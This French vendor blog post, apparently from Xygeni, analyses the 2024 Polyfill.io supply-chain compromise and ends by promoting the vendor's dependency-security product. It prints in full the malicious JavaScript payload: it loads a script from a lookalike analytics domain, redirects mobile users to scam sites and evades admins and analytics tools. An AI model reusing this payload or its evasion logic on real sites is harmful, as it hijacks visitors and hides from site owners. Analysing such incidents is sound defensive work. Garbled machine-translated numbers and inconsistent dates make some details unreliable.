En février, 2024, le Attaque de la chaîne d'approvisionnement de Polyfill.io—un excellent exemple de attaques de la chaîne d'approvisionnement logicielle— a compromis plus de 100,000 XNUMX sites Web dans le monde. Cet incident impliquait détournement de colis, où FUNNULL, une entité malveillante, a pris le contrôle du domaine et du référentiel GitHub de Polyfill, en injectant un logiciel malveillant dans le service. Le logiciel malveillant ciblait spécifiquement les utilisateurs mobiles, les redirigeant vers des sites de jeux d'argent frauduleux en exploitant les vulnérabilités de la diffusion de code dynamique de Polyfill basée sur les en-têtes HTTP et les agents utilisateurs.
Analyse technique : comment fonctionne l'attaque Polyfill
Polyfill est largement adopté pour assurer la compatibilité entre les fonctionnalités Web modernes et les navigateurs plus anciens. Les attaquants ont utilisé détournement de colis en achetant le cdn.polyfill.io domaine et l'intégration de scripts malveillants. Ce qui rendait cette attaque si dangereuse était le comportement sophistiqué du malware :
- Génération de code dynamique:Le service de Polyfill a généré des réponses JavaScript personnalisées en fonction de l'appareil accédant au site Web (par exemple, mobile ou ordinateur de bureau), des en-têtes HTTP et des agents utilisateurs. Les attaquants ont exploité cette nature dynamique en injectant des charges utiles malveillantes adaptées à des appareils spécifiques, en particulier les téléphones mobiles.
- Techniques d'évasion:Le malware était intelligent. Il retardait l'exécution lorsque des services d'analyse comme Google Analytics étaient détectés, empêchant ses actions d'apparaître dans les statistiques du site. De plus, il ne s'activait pas si des utilisateurs administrateurs ou des développeurs étaient détectés, évitant ainsi une détection précoce lors du débogage ou des tests.
- Redirection mobile:Une fois activé, le logiciel malveillant redirigeait les utilisateurs vers des sites de jeux d'argent frauduleux en se faisant passer pour des domaines légitimes (par exemple, googie-anaiytics.com). Les attaquants ont même manipulé des fenêtres temporelles pour réduire la suspicion, en exécutant la charge utile uniquement pendant certaines heures pour prendre au dépourvu les utilisateurs mobiles sans méfiance.
Les sites les plus touchés par l'attaque Polyfill
Le Attaque de la chaîne d'approvisionnement de Polyfill Plus de 100,000 XNUMX sites Web ont été touchés, y compris des organisations majeures telles que :
- Forum économique mondial
- Intuit
- JSTOR
- Banque d'Irlande
- Coldwell Banker
- live nation
- Brandeis University
- Compagnie des aéroports de Dubaï
- Environmental Defense Fund
Ces victimes très médiatisées soulignent la portée mondiale de l’attaque et la vulnérabilité de grandes institutions aux violations de la chaîne d'approvisionnement.
Alertes précoces et réponses
Andrew BettsLe créateur original de Polyfill a averti les développeurs des mois avant l'attaque arrêter d'utiliser le service Polyfill après avoir perdu le contrôle du domaine. Son avertissement est resté largement ignoré jusqu'à ce que l'attaque de FUNNULL soit lancée. Une fois détecté, réseaux de diffusion de contenu comme Cloudflare et Fastly a fourni des alternatives sécurisées, tandis que Betts a réitéré son conseil aux développeurs de supprimer entièrement les références à Polyfill.
Aucun site Web aujourd'hui n'a besoin de l'un des polyfills de la https://t.co/3xHecLPXkB La plupart des fonctionnalités ajoutées à la plateforme Web sont rapidement adoptées par tous les principaux navigateurs, à quelques exceptions près qui ne peuvent généralement pas être polyremplies de toute façon, comme Web Serial et Web Bluetooth.
– Andrew Betts (@triblondon) 25 février 2024
Exemple de charge utile malveillante Polyfill
Pour illustrer la sophistication de l’attaque de la chaîne d’approvisionnement de Polyfill, Sansec a fourni un exemple détaillé de la charge utile malveillante utilisée. Cette charge utile s'adapte de manière dynamique en fonction de l'appareil de l'utilisateur, déclenchant des redirections vers des sites Web frauduleux et employant des techniques pour échapper à la détection. Pour un examen plus approfondi de la répartition technique de cette charge utile, vous pouvez consulter Sansec analyse complète et exemple de code malveillant.
function isPc() {
try {
var _isWin =
navigator.platform == "Win32" || navigator.platform == "Windows",
_isMac =
navigator.platform == "Mac68K" ||
navigator.platform == "MacPPC" ||
navigator.platform == "Macintosh" ||
navigator.platform == "MacIntel";
if (_isMac || _isWin) {
return true;
} else {
return false;
}
} catch (_0x44e1f6) {
return false;
}
}
function vfed_update(_0x5ae1f8) {
_0x5ae1f8 !== "" &&
loadJS(
"https://www.googie-anaiytics.com/html/checkcachehw.js",
function () {
if (usercache == true) {
window.location.href = _0x5ae1f8;
}
}
);
}
function check_tiaozhuan() {
var _isMobile = navigator.userAgent.match(
/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
);
if (_isMobile) {
var _curHost = window.location.host,
_ref = document.referrer,
_redirectURL = "",
_kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
_rnd = Math.floor(Math.random() * 100 + 1),
_date = new Date(),
_hours = _date.getHours();
if (
_curHost.indexOf("www.dxtv1.com") !== -1 ||
_curHost.indexOf("www.ys752.com") !== -1
) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_curHost.indexOf("shuanshu.com.com") !== -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_hours >= 0 && _hours < 2) {
if (_rnd <= 10) {
_redirectURL = _kuurzaBitGet;
}
} else {
if (_hours >= 2 && _hours < 4) {
_rnd <= 15 && (_redirectURL = _kuurzaBitGet);
} else {
if (_hours >= 4 && _hours < 7) {
_rnd <= 20 && (_redirectURL = _kuurzaBitGet);
} else {
_hours >= 7 && _hours < 8
? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
: _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
}
}
}
}
}
}
_redirectURL != "" &&
!isPc() &&
document.cookie.indexOf("admin_id") == -1 &&
document.cookie.indexOf("adminlevels") == -1 &&
vfed_update(_redirectURL);
}
}
let _outerPage = document.documentElement.outerHTML,
bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
aplausix = _outerPage.indexOf(".plausible.io") != -1,
statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
? setTimeout(check_tiaozhuan, 2000)
: check_tiaozhuan();
Pourquoi l’attaque de la chaîne d’approvisionnement de Polyfill a-t-elle eu lieu ?
L'attaque de la chaîne d'approvisionnement de Polyfill souligne l'importance critique vulnérabilités dans la dépendance à des tiers gestion. L'écosystème JavaScript moderne repose largement sur des bibliothèques open source, et les développeurs utilisent souvent des outils comme npm pour intégrer ces bibliothèques automatiquement. Sans audit rigoureux ou surveillance continue, des paquets compromis peuvent passer inaperçus, comme on l'a vu avec Polyfill.
De plus, le rythme rapide de développement et de déploiement dans les environnements logiciels actuels privilégie souvent la fonctionnalité et la rapidité au détriment des contrôles de sécurité approfondis. Les attaquants exploitent cette lacune en ciblant les bibliothèques populaires pour maximiser leur impact. Dans le cas de Polyfill, une fois que les attaquants ont pris le contrôle du domaine, ils ont exploité l'utilisation généralisée de la bibliothèque pour injecter du code malveillant sur un grand nombre de sites Web.
Cet incident souligne l’importance de mettre en œuvre des mesures de sécurité rigoureuses, telles que des outils d’audit des dépendances, une surveillance en temps réel et des plans de réponse aux incidents robustes, pour se protéger contre des attaques similaires sur la chaîne d’approvisionnement de logiciels. Les organisations doivent donner la priorité à la sécurité dans leurs flux de travail de développement pour protéger efficacement leurs écosystèmes numériques.
Prévenir les attaques futures : une gestion robuste des dépendances
Lors de la gestion des dépendances, Xygéni Open Source Security utilise plusieurs couches de protection, conçues pour détecter, mettre en quarantaine et corriger les composants malveillants en temps réel et éviter les attaques de la chaîne d'approvisionnement en logiciels.
Détection des logiciels malveillants en temps réel:Xygeni surveille en permanence les registres publics, en recherchant les codes suspects avant qu'ils n'entrent dans l'environnement de développement. Cela permet de bloquer de manière proactive les menaces telles que l'attaque Polyfill, comme le montre l'exemple ci-dessous. Luis Rodriguez série d'articles.
Alertes et quarantaine automatiques: Xygeni isole automatiquement les paquets compromis et génère des alertes, permettant aux équipes de développement d'agir rapidement. En s'intégrant à CI/CD pipelines, toute menace peut être stoppée avant qu'elle n'atteigne la production. Dans des cas comme celui de l'incident de Polyfill, cette fonctionnalité permet d'éviter un impact généralisé en bloquant le code malveillant plus tôt.
Priorisation dynamique et SBOM:Xygeni hiérarchise dynamiquement les vulnérabilités en fonction du contexte, de l'exploitabilité et de l'impact sur l'entreprise. En générant un nomenclature logicielle en temps réel (SBOM), les organisations peuvent suivre tous les composants tiers, garantissant ainsi une transparence totale. Cette surveillance en temps réel est cruciale lors de la gestion des dépendances open source, permettant des réponses rapides aux incidents tels que le piratage de Polyfill.
Dans la série d'articles de Luis Rodriguez, l'accent mis sur défense proactive contre les packages open source malveillants est discutée en détail. L'approche de Xygeni couvre non seulement la détection en temps réel, mais fournit également des voies de correction automatisées, permettant aux organisations de revenir à des versions sûres sans perturber la production
Finalisez la commande les paquets malveillants Open Source série d'articles ici pour en savoir plus sur la façon dont Xygeni gère la sécurité open source.
Protégez vos dépendances Open Source contre les logiciels malveillants
Découvrez des stratégies proactives pour protéger vos logiciels open source contre les menaces de malware. Téléchargez notre livre blanc pour obtenir des informations essentielles sur la protection contre les malwares.
Les leçons de l'attaque Polyfill
Le Attaque de la chaîne d'approvisionnement de Polyfill.io enseigne des leçons cruciales sur les risques des dépendances tierces dans le développement Web moderne.
- Vigilance dans les dépendances envers des tiers: C'est le point le plus important à retenir. Les organisations doivent examiner, vérifier et surveiller régulièrement toutes les bibliothèques tierces qu'ils utilisent. Une dépendance excessive à des dépendances non vérifiées peut exposer les systèmes à de graves risques.
- Mesures de sécurité proactives:Surveillance continue, comme avec Détection des menaces en temps réel de Xygeni, peut détecter les vulnérabilités à un stade précoce.
- Éducation et formation:Tener tous les membres de l’équipe informés des dernières menaces renforce la sécurité de l’organisation.
L’attaque de la chaîne d’approvisionnement de Polyfill constitue un puissant rappel de la menace croissante posée par attaques de la chaîne d'approvisionnement logicielleCes attaques exploitent les vulnérabilités des composants tiers largement utilisés, exposant ainsi les organisations de toutes tailles. En adoptant des mesures de sécurité proactives, telles que surveillance en temps réel, détection automatisée des menaces et gestion robuste des dépendances— comme celles proposées par Xygeni — les entreprises peuvent se protéger contre des menaces similaires à l’avenir. Rester vigilant et maintenir une surveillance complète des bibliothèques tierces est essentiel pour éviter les compromissions à grande échelle comme Polyfill.
Sécurisez vos dépendances Open Source contre les attaques de la chaîne d'approvisionnement logicielle
Ne laissez pas votre application devenir victime de attaques de la chaîne d'approvisionnement logicielle comme Polyfill. Xygeni Open Source Security offre une surveillance en temps réel, une cartographie avancée des dépendances et une correction automatisée pour protéger votre développement pipelines provenant de paquets compromis.
Prenez le contrôle de votre chaîne d’approvisionnement en logiciels dès aujourd’hui. Enregistrer une démo et découvrez comment Xygeni peut protéger votre organisation contre les menaces futures.







